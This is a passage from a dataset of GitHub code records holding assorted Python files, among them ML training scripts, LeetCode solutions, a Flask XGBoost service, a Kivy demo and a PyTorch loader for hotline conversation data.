_prepare_pnr_label(self, label):\n tmp = str(np.argmax(label))\n target_seq = [self.pnr_task_idx, self.vocab[tmp], self.eos_idx]\n # print('pnr before modify', label, 'after modify', target_seq)\n return torch.LongTensor(target_seq)\n\n def _prepare_oscc_label(self, label):\n label_map_dict = {0: 'False', 1: 'True'}\n target_seq = [self.oscc_task_idx, self.vocab[label_map_dict[label]], self.eos_idx]\n # print('oscc before modify', label, 'after modify', target_seq)\n return torch.LongTensor(target_seq)\n\n\n","repo_name":"facebookresearch/EgoT2","sub_path":"HOI/dataset/pnr/StateChangeDetectionAndKeyframeLocalisation.py","file_name":"StateChangeDetectionAndKeyframeLocalisation.py","file_ext":"py","file_size_in_byte":24980,"program_lang":"python","lang":"en","doc_type":"code","stars":28,"dataset":"github-code","pt":"21"} +{"seq_id":"35534225293","text":"from flask import Flask, jsonify, request\nimport numpy as np\nimport pandas as pd\nimport xgboost as xgb\nfrom sklearn.cross_validation import StratifiedKFold\nfrom sklearn.metrics import accuracy_score\nfrom sklearn.metrics import classification_report\nimport json\n\n\nclass Algorithm(object):\n\tdef __init__(self):\n\t\tself.clf = xgb.XGBClassifier()\n\n\tdef train(self, features, labels, folds):\n\t\tavg = []\n\t\ty_true = []\n\t\ty_pred = []\n\t\tkf = StratifiedKFold(labels, n_folds=folds)\n\t\tfor train_index, test_index in kf:\n\t\t\tx_train, x_test = features[train_index], features[test_index]\n\t\t\ty_train, y_test = labels[train_index], labels[test_index]\n\t\t\tself.clf.fit(x_train,y_train)\n\t\t\tYP = self.clf.predict(x_test)\n\t\t\tavg.append(accuracy_score(y_test,YP))\n\t\t\ty_true.append(y_test.tolist())\n\t\t\ty_pred.append(YP.tolist())\n\t\ty_pred = [item for sublist in y_pred for item in sublist]\n\t\ty_true = [item for sublist in y_true for item in sublist]\n\t\tclf_metrics = self.classification_details(classification_report(y_true, y_pred))\n\t\treturn_json = {'Metrics':clf_metrics, 'Accuracy':np.mean(avg)}\n\t\tself.clf = self.clf.fit(features, labels)\n\t\treturn return_json\n \n\tdef test(self, features, labels=None):\n\t\ty_pred = self.clf.predict(features)\n\t\tif labels is not None:\n\t\t\tacc = accuracy_score(labels, y_pred)\n\t\t\tclf_metrics = self.classification_details(classification_report(labels, y_pred))\n\t\t\treturn {'Predictions':y_pred.tolist(), 'Metrics':clf_metrics, 'Accuracy':acc}\n\t\treturn {'Predictions':y_pred.tolist()}\n \n\tdef classification_details(self, string):\n\t\tstring = [x for x in string.split() if x]\n\t\tlast = string[-7:]\n\t\tlast = last[3:]\n\t\tstring = string[4:-7]\n\t\tlisti = []\n\t\tdicti ={}\n\t\tfor i in range(0, len(string), 5):\n\t\t\tdicti['Class'] = str(string[i])\n\t\t\tdicti['Precision'] = float(string[i + 1])\n\t\t\tdicti['Recall'] = float(string[i + 2])\n\t\t\tdicti['F1-Score'] = float(string[i +3])\n\t\t\tdicti['Support'] = float(string[i+4])\n\t\t\tlisti.append(dicti)\n\t\t\tdicti = {}\n\t\tdicti['Class'] = 'Total'\n\t\tdicti['Precision'] = float(last[0])\n\t\tdicti['Recall'] = float(last[1])\n\t\tdicti['F1-Score'] = float(last[2])\n\t\tdicti['Support'] = float(last[3])\n\t\tlisti.append(dicti)\n\t\treturn listi\n\napp = Flask(__name__)\n\nalgo = Algorithm()\n\n@app.route('/', methods=['POST'])\ndef train():\n\tresp = algo.train(np.array(request.json['features'][\"__ndarray__\"]), np.array(request.json['labels'][\"__ndarray__\"]), request.json['folds'])\n\treturn jsonify(resp)\n\n@app.route('/test', methods=['POST'])\ndef test():\n\tresp = algo.test(np.array(request.json['features'][\"__ndarray__\"]), np.array(request.json['labels'][\"__ndarray__\"]))\n\treturn jsonify(resp)\n\nif __name__ == '__main__':\n\tapp.run(host='0.0.0.0', port=8080, debug=True)\n\n","repo_name":"tkanchin/MLMircroService","sub_path":"server/app/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2685,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"28501612861","text":"# 124. Binary Tree Maximum Path Sum\n\n# Given a non-empty binary tree, find the maximum path sum.\n\n# For this problem, a path is defined as any sequence of nodes from some\n# starting node to any node in the tree along the parent-child\n# connections. The path must contain at least one node and does not need\n# to go through the root.\n\n# Example 1:\n# Input: [1,2,3]\n# 1\n# / \\\n# 2 3\n# Output: 6\n\n# Example 2:\n# Input: [-10,9,20,null,null,15,7]\n# -10\n# / \\\n# 9 20\n# / \\\n# 15 7\n\n# Output: 42\n\nfrom typing import List\n\n\n# Definition for a binary tree node.\nclass TreeNode:\n def __init__(self, x):\n self.val = x\n self.left = None\n self.right = None\n\nclass Solution:\n @staticmethod\n def fromArray(nodes: List[int], i: int) -> TreeNode:\n l = len(nodes)\n node = TreeNode(nodes[i])\n ch_i = 2 * i + 1\n node.left = Solution.fromArray(nodes, ch_i) if ch_i < l and nodes[ch_i] != None else None\n ch_i += 1\n node.right = Solution.fromArray(nodes, ch_i) if ch_i< l and nodes[ch_i] != None else None\n return node\n\n path_sum = None\n\n def update_max_path(self, node_val, left_val, right_val):\n mp = max(node_val, node_val + left_val, node_val + right_val, node_val + left_val + right_val)\n self.path_sum = max(self.path_sum, mp)\n\n def max_path(self, root: TreeNode) -> int:\n if root.val is None: return 0\n lp = self.max_path(root.left) if root.left is not None else 0\n rp = self.max_path(root.right) if root.right is not None else 0\n max_branch_path = max(lp, rp)\n max_node_path = max(root.val, max_branch_path + root.val)\n self.update_max_path(root.val, lp, rp)\n return max_node_path\n\n def maxPathSum(self, root: TreeNode) -> int:\n if not root or root.val is None: return 0\n self.path_sum = float(\"-inf\")\n lp = self.max_path(root.left) if root.left is not None else 0\n rp = self.max_path(root.right) if root.right is not None else 0\n self.update_max_path(root.val, lp, rp)\n return self.path_sum\n\nt = Solution()\n\ntree = t.fromArray([1,2,3], 0)\nprint(\"6 = \", t.maxPathSum(tree))\n\ntree = t.fromArray([-10,9,20,None,None,15,7], 0)\nprint(\"42 = \", t.maxPathSum(tree))\n\ntree = t.fromArray([1], 0)\nprint(\"1 = \", t.maxPathSum(tree))\n\nprint(\"0 = \", t.maxPathSum(None))\n\ntree = t.fromArray([1, 2], 0)\nprint(\"3 = \", t.maxPathSum(tree))\n\ntree = t.fromArray([1, 2, 3, None, None, 6, 7, None, None, None, None, 12, None, None, 15, None, None, None, None, None, None, None, None, 24, None, None, None, None, None, None, 31], 0)\nprint(\"98 = \", t.maxPathSum(tree))\n\ntree = t.fromArray([-3], 0)\nprint(\"-3 = \", t.maxPathSum(tree))\n\ntree = t.fromArray([-1,-2,-3], 0)\nprint(\"-1 = \", t.maxPathSum(tree))\n\ntree = t.fromArray([2,-1], 0)\nprint(\"2 = \", t.maxPathSum(tree))\n\n\n\n","repo_name":"DmitryVlaznev/leetcode","sub_path":"124-binary-tree-maximum-path-sum.py","file_name":"124-binary-tree-maximum-path-sum.py","file_ext":"py","file_size_in_byte":2865,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"5627848843","text":"import os\nimport shutil\nimport unittest\nimport time\nfrom unittestreport import TestRunner\nfrom higreen.base.comm.config import file\n\nstart = time.clock()\n\n\ndef run_cases(filename, tester, desc, title, templates=2, pattern=\"test_*.py\", report_dir=file.reports):\n \"\"\"\n :param title: 报告标题\n :param pattern: 要执行的测试用例----默认全部以test开头的文件\n :param filename: 文件名称\n :param report_dir: 生成报告路径\n :param tester: 测试人员\n :param desc: 项目名称`\n :param templates: 报告模板 1 or 2\n :return:\n \"\"\"\n\n try:\n shutil.rmtree(file.new_file_path)\n os.mkdir(file.new_file_path)\n suite = unittest.defaultTestLoader.discover(file.test_cases, pattern)\n runner = TestRunner(suite, filename, report_dir, title, tester, desc, templates)\n runner.run()\n except AttributeError as ree:\n raise ree\n end = time.clock()\n runTime = end - start\n print(\"运行时间:{}s\".format(runTime))\n\n\nclass Test_Run:\n pass\n\n\nif __name__ == '__main__':\n run_cases(\"higreen_report\", \"李天浩\", \"平湖—海吉星app\", \"海吉星登录\", pattern='test_d_chouczg.py')\n","repo_name":"dbclicg/pythonProject","sub_path":"higreen/run/Testrunner.py","file_name":"Testrunner.py","file_ext":"py","file_size_in_byte":1186,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"10738867846","text":"#\n# @lc app=leetcode.cn id=496 lang=python3\n#\n# [496] 下一个更大元素 I\n#\n\n# @lc code=start\nclass Solution:\n def nextGreaterElement(self, nums1: List[int], nums2: List[int]) -> List[int]:\n def get_bigger_idx(tgt, nums):\n if len(nums)==0:\n return -1\n for i in range(len(nums)):\n if nums[i] > tgt:\n return nums[i]\n return -1\n idxs = []\n for n in nums1:\n idx = nums2.index(n)\n idx_ref = get_bigger_idx(n, nums2[idx+1:])\n idxs.append(idx_ref)\n return idxs\n# @lc code=end\n\n","repo_name":"MaxZN/Leetcode","sub_path":"496.下一个更大元素-i.py","file_name":"496.下一个更大元素-i.py","file_ext":"py","file_size_in_byte":620,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14053270554","text":"from big_char import BigChar\n\n\nclass Singleton():\n\n def __new__(cls, *args, **kargs):\n if not hasattr(cls, \"_instance\"):\n cls._instance = super(Singleton, cls).__new__(cls)\n return cls._instance\n\n\n\nclass BigCharFactory(Singleton):\n\n def __init__(self):\n self.__pool = {}\n \n def get_big_char(self, charname: str):\n\n bc = None\n if charname in self.__pool:\n bc = self.__pool[charname]\n else:\n bc = BigChar(charname)\n self.__pool[charname] = bc\n return bc","repo_name":"Toma0916/DesignPatternPython","sub_path":"20_Flyweight/big_char_factory.py","file_name":"big_char_factory.py","file_ext":"py","file_size_in_byte":556,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"27506006287","text":"# coding=utf-8\n\n'''\n\npython 由于每个节点只有唯一一个父节点,我想到了使用字典存储各个节点的父节点,字典中预置根节点的父节点为None。字典建立完成后,二叉树就可以看成一个所有节点都将指向根节点的链表了。于是在二叉树中寻找两个节点的最小公共节点就相当于,在一个链表中寻找他们相遇的节点\n\n'''\n\n# https://leetcode-cn.com/problems/lowest-common-ancestor-of-a-binary-tree/\n\n# Definition for a binary tree node.\n# class TreeNode(object):\n# def __init__(self, x):\n# self.val = x\n# self.left = None\n# self.right = None\n\nclass Solution(object):\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n path = {root:None}\n stack = [root]\n while p not in path or q not in path:\n node = stack[0]\n del stack[0]\n if node.left:\n path[node.left] = node\n stack.insert(0, node.left)\n if node.right:\n path[node.right] = node\n stack.insert(0, node.right)\n # 寻找公共节点,总会碰到的\n l1 = p\n l2 = q\n while l1 != l2:\n l1 = path[l1]\n if not l1:\n l1 = q\n l2 = path[l2]\n if not l2:\n l2 = p\n return l1\n\n'''\n\n另一种节省空间的做法\n\n'''\n\nclass Solution(object):\n def lowestCommonAncestor(self, root, p, q):\n \"\"\"\n :type root: TreeNode\n :type p: TreeNode\n :type q: TreeNode\n :rtype: TreeNode\n \"\"\"\n paths = {}\n path_stack = [([root], root)]\n while p not in paths or q not in paths:\n path, node = path_stack[0]\n del path_stack[0]\n if node == p:\n paths[p] = path\n if node == q:\n paths[q] = path\n if node.left:\n path_stack.insert(0, (path + [node.left], node.left))\n if node.right:\n path_stack.insert(0, (path + [node.right], node.right))\n i = 0\n while i < min(len(paths[p]), len(paths[q])): # 比较两条路径\n if paths[p][i] != paths[q][i]:\n break\n i += 1\n return paths[p][i - 1]","repo_name":"zhuwenbo1988/nlp","sub_path":"leetcode/medium/tree/236_lowestCommonAncestor.py","file_name":"236_lowestCommonAncestor.py","file_ext":"py","file_size_in_byte":2128,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"21"} +{"seq_id":"23159124906","text":"#!/usr/bin/env python3\n# Filename: fizzbuzz_single_string.py\n\"\"\"Variety of FizzBuzz seen in the wild.\n\nBecause it depends on string concatenation, slower than fizzbuzz_zip_cycles.py.\n\"\"\"\n\nfor i in range(1, 101):\n print('Fizz' * (i%3 == 0) + \n 'Buzz' * (i%5 == 0) + \n str(i) * ((i%5 != 0) and (i%3 !=0))\n )\n","repo_name":"DataBranner/AlgorithmPlay","sub_path":"python_fizzbuzz/fizzbuzz_single_string.py","file_name":"fizzbuzz_single_string.py","file_ext":"py","file_size_in_byte":338,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"19343324941","text":"__pragma__(\"alias\",\"s\",\"$\")\n\nfrom Widget import Widget\nimport random\n\nclass BoxGrid(Widget):\n\t\"\"\"docstring for Button\"\"\"\n\tdef __init__(self, titulo=\"Presionar\"):\n\t\tWidget.__init__(self,titulo)\n\t\tself._html=\"\"\n\t\t\n\t\tself.container=\"container\"\n\t\t\n\t\t\n\t\tself.colored=True\n\t\tself.paleta=[\"#1abc9c\",\"#2ecc71\",\"#3498db\",\"#9b59b6\",\"#34495e\",\n\t\t\t\t\t\t\t \"#16a085\",\"#27ae60\",\"#2980b9\",\"#8e44ad\",\"#2c3e50\",\n\t\t\t\t\t\t\t \"#f1c40f\",\"#e67e22\",\"#e74c3c\",\"#ecf0f1\",\"#95a5a6\",\n\t\t\t\t\t\t\t \"#f39c12\",\"#d35400\",\"#c0392b\",\"#bdc3c7\",\"#7f8c8d\"]\n\n\tdef titulo(self,titulo):\n\t\tself.target.find(\".titulo\").text(titulo)\n\t\tself._titulo=titulo\n\tdef appendRow(self):\n\t\thtml=\"
\"\n\t\tself.target.append(html)\n\n\tdef appendRows(self,n):\n\t\thtml=\"
\".repeat(n)\n\t\tself.target.html(html)\n\n\tdef addCols(self,row,lista=[\"md-4\",\"md-8\"],padding=15):\n\t\tfor elem in lista:\n\t\t\tif type(elem)!=str:\n\t\t\t\tclase=\"\"\n\t\t\t\tfor elem2 in elem:\n\t\t\t\t\tclase=clase+\" col-\"+elem2\n\t\t\t\tcol=s(\"
\")\n\t\t\t\ts(self.target.find(\">.row\")[row]).append(col)\n\t\t\t\tif self.colored==True:\n\t\t\t\t\tcol.css({\"background-color\":self.paleta[random.randint(0,20)],\n\t\t\t\t\t\t\"min-height\":\"300px\",\n\t\t\t\t\t\t\"padding-left\":padding,\n\t\t\t\t\t\t\"padding-right\":padding})\n\n\t\t\telse:\n\t\t\t\tcol=s(\"
\")\n\t\t\t\ts(self.target.find(\">.row\")[row]).append(col)\n\t\t\t\tif self.colored==True:\n\t\t\t\t\t\n\t\t\t\t\tcol.css({\"background-color\":self.paleta[random.randint(0,20)],\n\t\t\t\t\t\t\"min-height\":\"300px\",\n\t\t\t\t\t\t\"padding-left\":padding,\n\t\t\t\t\t\t\"padding-right\":padding})\n\n\tdef addToCol(self,row,col,widget):\n\t\twidget.update()\n\t\ts(s(self.target.find(\">.row\")[row]).find(\">div\")[col]).html(widget.target)\n\t\treturn s(s(self.target.find(\">.row\")[row]).find(\">div\")[col])\n\n\n\n\n\n\t\n\n\n\n\tdef update(self):\n\t\tself.format=[self._titulo]\n\t\tself.__update__()\n\t\t\n\n\t\tself.__titulo=self.target.find(\">.titulo\")\n\t\tself.target.addClass(self.container)\n\t\n\t\n\t\t\n\n\n\t\t","repo_name":"ZerpaTechnology/asenzor-v2","sub_path":"Components/BoxGrid.py","file_name":"BoxGrid.py","file_ext":"py","file_size_in_byte":1898,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"14829141788","text":"from pkgutil import get_data\nfrom typing import List, Tuple\nfrom xmlrpc.client import Boolean\nfrom sklearn.preprocessing import MinMaxScaler, StandardScaler\nimport scipy.io\nimport torch\nimport numpy as np\nimport os\nimport pandas as pd\n\n\n#from .utils import get_dataset_matrix, get_file_label, get_meshes\n\n\nclass CDS_Dataset(torch.utils.data.Dataset):\n def __init__(self, d_type: str = \"train\", sequence_ratio: int = 10,\n dataset_path: str = \"./data\",\n negative: Boolean=True):\n super(CDS_Dataset, self).__init__()\n\n self._seq_ratio = sequence_ratio\n self.dataset_path = dataset_path\n \n # When looking at pre and post evals - look at negative state or positive state\n self.negative = negative\n\n # We open prechat and postchat questions files and extract out the \n # conversation id's that have a rating\n\n self.all_files = os.listdir(self.dataset_path)\n\n\n self.pre_ids = list()\n self.post_ids = list()\n self.get_ids()\n\n\n self.pre_ids, self.post_ids = self.filter_ids()\n\n\n self.pre_eval = pd.read_csv(os.path.join(self.dataset_path, \"prechat_questions.tsv\"), sep='\\t')\n self.post_eval = pd.read_csv(os.path.join(self.dataset_path, \"postchat_questions.tsv\"), sep='\\t')\n\n self.X = []\n self.y = []\n\n #self.prepare_X()\n \n def filter_ids(self):\n # Check for each id in pre_ids and post_ids if the file actually exists in dataset_path\n files = os.listdir(self.dataset_path)\n fil = list()\n for f in files:\n f = f[:-4]\n fil.append(f)\n \n\n pre = list()\n post = list()\n for p in self.pre_ids:\n if p in fil:\n pre.append(p)\n\n for p in self.post_ids:\n if p in fil:\n post.append(p) \n\n return pre, post\n\n def prepare_X(self):\n print(f\"Number of prechat ids: {len(self.pre_ids)}\")\n for pre_f in self.pre_ids:\n df = pd.read_csv(os.path.join(self.dataset_path, pre_f + \".csv\"), sep='\\t')\n l = len(df.index)\n num_msg = int(l * self._seq_ratio)\n\n df = df.head(num_msg) # WE TAKE THE BEGINNING\n df = df.drop(columns=[\"event_id\",\"message_id\", \"Unnamed: 0\", \"Unnamed: 0.1\", \"user_handle\"])\n\n df = df.mean(axis = 0)\n\n x = df.values.astype(np.float32)\n xt = torch.tensor(x).float()\n self.X.append(xt)\n\n print(f\"Number of post ids: {len(self.post_ids)}\")\n for post_f in self.post_ids:\n # Open file, get first _seq_ration number of messages,\n # calculate averages for X and Y\n df = pd.read_csv(os.path.join(self.dataset_path, post_f + \".csv\"), sep='\\t')\n l = len(df.index)\n num_msg = int(l * self._seq_ratio)\n\n df = df.tail(num_msg) # WE TAKE THE TAIL END\n df = df.drop(columns=[\"event_id\",\"message_id\", \"Unnamed: 0\", \"Unnamed: 0.1\", \"user_handle\"])\n\n df = df.mean(axis = 0)\n\n x = df.values.astype(np.float32)\n xt = torch.tensor(x).float()\n self.X.append(xt)\n \n def get_pre_X(self, f):\n df = pd.read_csv(os.path.join(self.dataset_path, f + \".csv\"), sep='\\t')\n l = len(df.index)\n num_msg = int(l * self._seq_ratio)\n\n if len(df.index) < num_msg:\n num_msg = len(df.index)-1\n\n # Normalize also sec_since_start with regards to last value in the column\n conv_length = df['sec_since_start'].iloc[-1]\n\n\n df = df.head(num_msg) # WE TAKE THE BEGINNING\n df = df.drop(columns=[\"event_id\",\"message_id\", \"Unnamed: 0\", \"Unnamed: 0.1\", \"user_handle\"])\n\n df = df.mean(axis = 0)\n x = df.values.astype(np.float32)\n x[-1] = x[-1] / conv_length\n\n if(np.isnan(x).any()):\n #print(\"The Array contain NaN values!!!!!!!!!!!!!!!!!!!!! IN PRE \" + str(f))\n x = np.zeros(len(x))\n\n xt = torch.from_numpy(x).float()\n return xt\n\n def get_post_X(self, f):\n df = pd.read_csv(os.path.join(self.dataset_path, f + \".csv\"), sep='\\t')\n l = len(df.index)\n num_msg = int(l * self._seq_ratio)\n\n if len(df.index) < num_msg:\n num_msg = len(df.index)-1\n\n\n # Normalize also sec_since_start with regards to last value in the column\n conv_length = df['sec_since_start'].iloc[-1]\n\n df = df.tail(num_msg) # WE TAKE THE END\n df = df.drop(columns=[\"event_id\",\"message_id\", \"Unnamed: 0\", \"Unnamed: 0.1\", \"user_handle\"])\n\n df = df.mean(axis = 0)\n\n x = df.values.astype(np.float32)\n x[-1] = x[-1] / conv_length\n\n if(np.isnan(x).any()):\n #print(\"The Array contain NaN values!!!!!!!!!!!!!!!!!!!!! IN POST \" + str(f))\n x = np.zeros(len(x))\n\n\n xt = torch.from_numpy(x).float()\n return xt\n \n def get_post_eval(self, id):\n df = self.post_eval[self.post_eval[\"event_id\"] == id]\n df = df.drop(columns=[\"event_id\"])\n\n if self.negative:\n # We drop \"I have a will to live column and average the other numbers\"\n df = df.drop(columns=[\"Ik heb de wil om te leven\"])\n y = df.mean(axis = 1)\n y = y.values.astype(np.float32)\n else:\n y = df['Ik heb de wil om te leven']\n y = y.values.astype(np.float32)\n\n yt = torch.tensor(y).float()\n return yt\n\n def get_pre_eval(self, id):\n df = self.pre_eval[self.pre_eval[\"event_id\"] == id]\n df = df.drop(columns=[\"event_id\"])\n\n if self.negative:\n # We drop \"I have a will to live column and average the other numbers\"\n df = df.drop(columns=[\"Ik heb de wil om te leven\"])\n y = df.mean(axis = 1)\n y = y.values.astype(np.float32)\n else:\n y = df['Ik heb de wil om te leven']\n y = y.values.astype(np.float32)\n\n yt = torch.tensor(y).float()\n return yt\n\n def get_ids(self):\n\n post = os.path.join(self.dataset_path, \"postchat_questions.tsv\")\n pre = os.path.join(self.dataset_path, \"prechat_questions.tsv\")\n\n post_df = pd.read_csv(post, sep='\\t')\n pre_df = pd.read_csv(pre, sep='\\t')\n\n # get all ids which have a rating\n post_ids = post_df[post_df['Ik heb de neiging om mezelf te doden'] >= 0]['event_id']\n pre_ids = pre_df[pre_df['Ik heb de neiging om mezelf te doden'] >= 0]['event_id']\n\n self.post_ids = post_ids.tolist()\n self.pre_ids = pre_ids.tolist()\n\n def __len__(self):\n return len(self.pre_ids) + len(self.post_ids)\n\n\n def __getitem__(self, index):\n l_pre = len(self.pre_ids)\n l_post = len(self.post_ids)\n\n if index < l_pre:\n xt = self.get_pre_X(self.pre_ids[index])\n yt = self.get_pre_eval(self.pre_ids[index])\n else:\n index = index - l_pre\n xt = self.get_post_X(self.post_ids[index])\n yt = self.get_post_eval(self.post_ids[index])\n \n return xt, yt\n\n","repo_name":"lougau92/MA2---Towards-real-time-support-for-a-suicide-prevention-hotline-operators-","sub_path":"model_1/data/dataset.py","file_name":"dataset.py","file_ext":"py","file_size_in_byte":7268,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"22837185795","text":"import argparse\nfrom typing import Dict, List, Optional, Union\n\nimport matplotlib.pyplot as plt\nimport mlflow\nimport numpy as np\nimport yaml\n\nimport air_quality_uci_dataset\nimport air_quality_uci_rnn\n\n\ndef train_and_evaluate(this_type: Optional[Union[List[str], str]], train_size: float, time_steps: int,\n n_units: Dict[str, int], activations: Dict[str, str], optimizer: str, loss: str, metrics: List[str], batch_size: int, epochs: int, shuffle: bool) -> object:\n \"\"\"Train an rnn model on air quality uci dataset and evaluate it.\n\n :param Optional[Union[List[str], str]] this_type: string or list of strings to define elements of this dataset, defaults to None\n :param float train_size: ratio of training dataset size\n :param int time_steps: the length of data to predict\n :param Dict[str, int] n_units: the numbers of units on an RNN layer and a hidden layer\n :param Dict[str, str] activations: activation function names on an RNN layer and a hidden layer\n :param str optimizer: optimizer\n :param str loss: loss function\n :param List[str] metrics: metrics\n :param int batch_size: batch size\n :param int epochs: the number of epochs\n :param bool shuffle: whether the dataset shuffles or not\n :return object: trained rnn model on air quality uci dataset\n \"\"\"\n # Load the air quality uci dataset\n air_quality_uci_data = air_quality_uci_dataset.AirQualityUciDataset(this_type=this_type)\n\n # Create an RNN for air quality uci\n model = air_quality_uci_rnn.AirQualityUciRNN()\n\n # Prepare to train\n model.prepare_to_train(air_quality_uci_data=air_quality_uci_data, train_size=train_size, time_steps=time_steps)\n\n # Build a model\n model.build_rnn(n_units=n_units, activations=activations)\n\n # Train the model\n model.train(optimizer=optimizer, loss=loss, metrics=metrics, batch_size=batch_size, epochs=epochs, shuffle=shuffle)\n\n # Evaluate the model\n model.evaluate()\n \n return model\n\n\ndef save_evaluation_result(trained_model: object, output_path: str) -> None:\n \"\"\"Save a given information.\n\n :param object trained_model: a trained model that has already been evaluated\n :param str output_path: a path to an output file\n \"\"\"\n evaluated_data = trained_model.evaluated_data\n test_y = trained_model.test_y\n\n size = len(test_y[0])\n num_columns = 4\n num_rows = int(size // num_columns + 1)\n f, axs = plt.subplots(nrows=num_rows, ncols=num_columns, sharex=True, sharey=True)\n len_data = len(test_y)\n row_index = 0\n col_index = 0\n for _ in range(size):\n pred_color = \"red\"\n true_color = \"blue\"\n\n axs[row_index, col_index].plot(range(len_data), evaluated_data[:, row_index + col_index], linewidth=0.5, label=\"prediction\", color=pred_color)\n axs[row_index, col_index].plot(range(len_data), test_y[:, row_index + col_index], linewidth=0.5, label=\"true value\", color=true_color)\n all_values = [evaluated_data[:, row_index + col_index], test_y[:, row_index + col_index]]\n min_y = np.min(all_values)\n max_y = np.max(all_values)\n axs[row_index, col_index].set_ylim([min_y - 0.1, max_y + 0.1])\n plt.xlabel(f\"prediction: {pred_color}, true: {true_color}\")\n if col_index != num_columns - 1:\n col_index += 1\n else:\n col_index = 0\n row_index += 1\n\n plt.savefig(output_path, dpi=300)\n\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Train and evaluate RNN for air quality uci dataset.\")\n\n parser.add_argument(\"-c\", \"--config_yaml_path\", required=False, type=str, default=\"./config_air_quality_uci.yaml\")\n args = parser.parse_args()\n\n # Load configs\n with open(args.config_yaml_path, \"r\") as yaml_f:\n config = yaml.safe_load(yaml_f)\n config_mlflow = config[\"mlflow\"]\n\n # Start training and evaluating whilist logging the information\n mlflow.set_experiment(config_mlflow[\"experiment_name\"])\n with mlflow.start_run(run_name=config_mlflow[\"run_name\"]):\n mlflow.keras.autolog()\n\n config_dataset = config[\"dataset\"]\n config_rnn = config[\"rnn\"]\n config_train = config[\"train\"]\n trained_model = train_and_evaluate(**config_dataset, **config_rnn, **config_train)\n\n config_save = config[\"save\"]\n save_evaluation_result(trained_model=trained_model, **config_save)\n\n mlflow.log_artifact(args.config_yaml_path)\n mlflow.log_artifact(config_save[\"output_path\"])\n","repo_name":"ksk0629/air_quality_uci","sub_path":"src/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":4506,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"4500316594","text":"#!\\use\\bin\\python3\r\nimport kivy\r\nkivy.require(\"1.9.0\")#apps and softwares\r\nfrom kivy.app import App\r\nfrom kivy.lang import Builder\r\nfrom kivy.uix.boxlayout import BoxLayout\r\nfrom kivy.properties import StringProperty\r\nfrom kivy.core.window import Window\r\n\r\nWindow.size = (500, 300)\r\nWindow.icon = 'stigproperty.png'\r\n#Simple file kivy.kv wiyh load string\r\nkv = Builder.load_string(r\"\"\"\r\n\r\n orientation:\"vertical\"\r\n Label:\r\n id:mylabel\r\n text:root.stringProperty_mylabel\r\n Button:\r\n text: \"if you click her will be return -> (StringProperty) in you consel\"\r\n on_press: root.printMe()\r\n \"\"\")\r\n\r\nclass runStringProperty(BoxLayout):\r\n stringProperty_mylabel= StringProperty(\"StringProperty\")\r\n\r\n def printMe(self):\r\n \ttry:\r\n \t\tprint(self.stringProperty_mylabel)\r\n \texcept Exception as e:\r\n \t\tprint(f'Exception Error{e}')\r\n \t\tpass;\r\n\r\nclass stringProperty(App):\r\n\r\n def build(self):\r\n return runStringProperty()\r\n\r\n#run app\r\nstringProperty().run()","repo_name":"madocoin/kivypython3","sub_path":"stringproparety.py","file_name":"stringproparety.py","file_ext":"py","file_size_in_byte":1032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"12415482887","text":"import os\nimport sys\nimport random\nimport numpy as np\n\ndef main():\n prec_data = np.load('prec-data.npz')\n precs = prec_data['precs']\n\n num_modes = precs.shape[0]\n mean_precs = np.zeros((num_modes), dtype='float32')\n median_precs = np.zeros((num_modes), dtype='float32')\n per20_precs = np.zeros((num_modes), dtype='float32')\n per40_precs = np.zeros((num_modes), dtype='float32')\n per60_precs = np.zeros((num_modes), dtype='float32')\n per80_precs = np.zeros((num_modes), dtype='float32')\n stdev_precs = np.zeros((num_modes), dtype='float32')\n \n for mode in range(0, num_modes):\n mean_precs[mode] = np.mean(precs[mode])\n median_precs[mode] = np.median(precs[mode])\n per20_precs[mode] = np.percentile(precs[mode], 20)\n per40_precs[mode] = np.percentile(precs[mode], 40)\n per60_precs[mode] = np.percentile(precs[mode], 60)\n per80_precs[mode] = np.percentile(precs[mode], 80)\n stdev_precs[mode] = np.std(precs[mode], ddof=1)\n \n print('mean precisions: {}'.format(mean_precs))\n print('median precisions: {}'.format(median_precs))\n print('20% quantile of: {}'.format(per20_precs))\n print('40% quantile of: {}'.format(per40_precs))\n print('60% quantile of: {}'.format(per60_precs))\n print('80% quantile of: {}'.format(per80_precs))\n\nif __name__=='__main__':\n main()\n","repo_name":"sunqingxiao/SpTFS","sub_path":"software/unsupervised/scripts/calcTime.py","file_name":"calcTime.py","file_ext":"py","file_size_in_byte":1366,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"21"} +{"seq_id":"10865297669","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# impresora.py\n# Ejemplo de utilización de la impresora\n\nimport os\n\nimpresora = os.popen('lpr','w')\nimpresora.write('Prueba de impresión con Python\\n')\n\nimpresora.close()\n","repo_name":"lopecillo/python","sub_path":"impresora.py","file_name":"impresora.py","file_ext":"py","file_size_in_byte":220,"program_lang":"python","lang":"es","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"32755205032","text":"import nltk\nimport sys\nimport gzip\nimport argparse\nCTB_PUNCS = {'(', '、', ')', ',', '。', '“', '”', ';', '--', ':', '——', '《', '》', '’', '-', 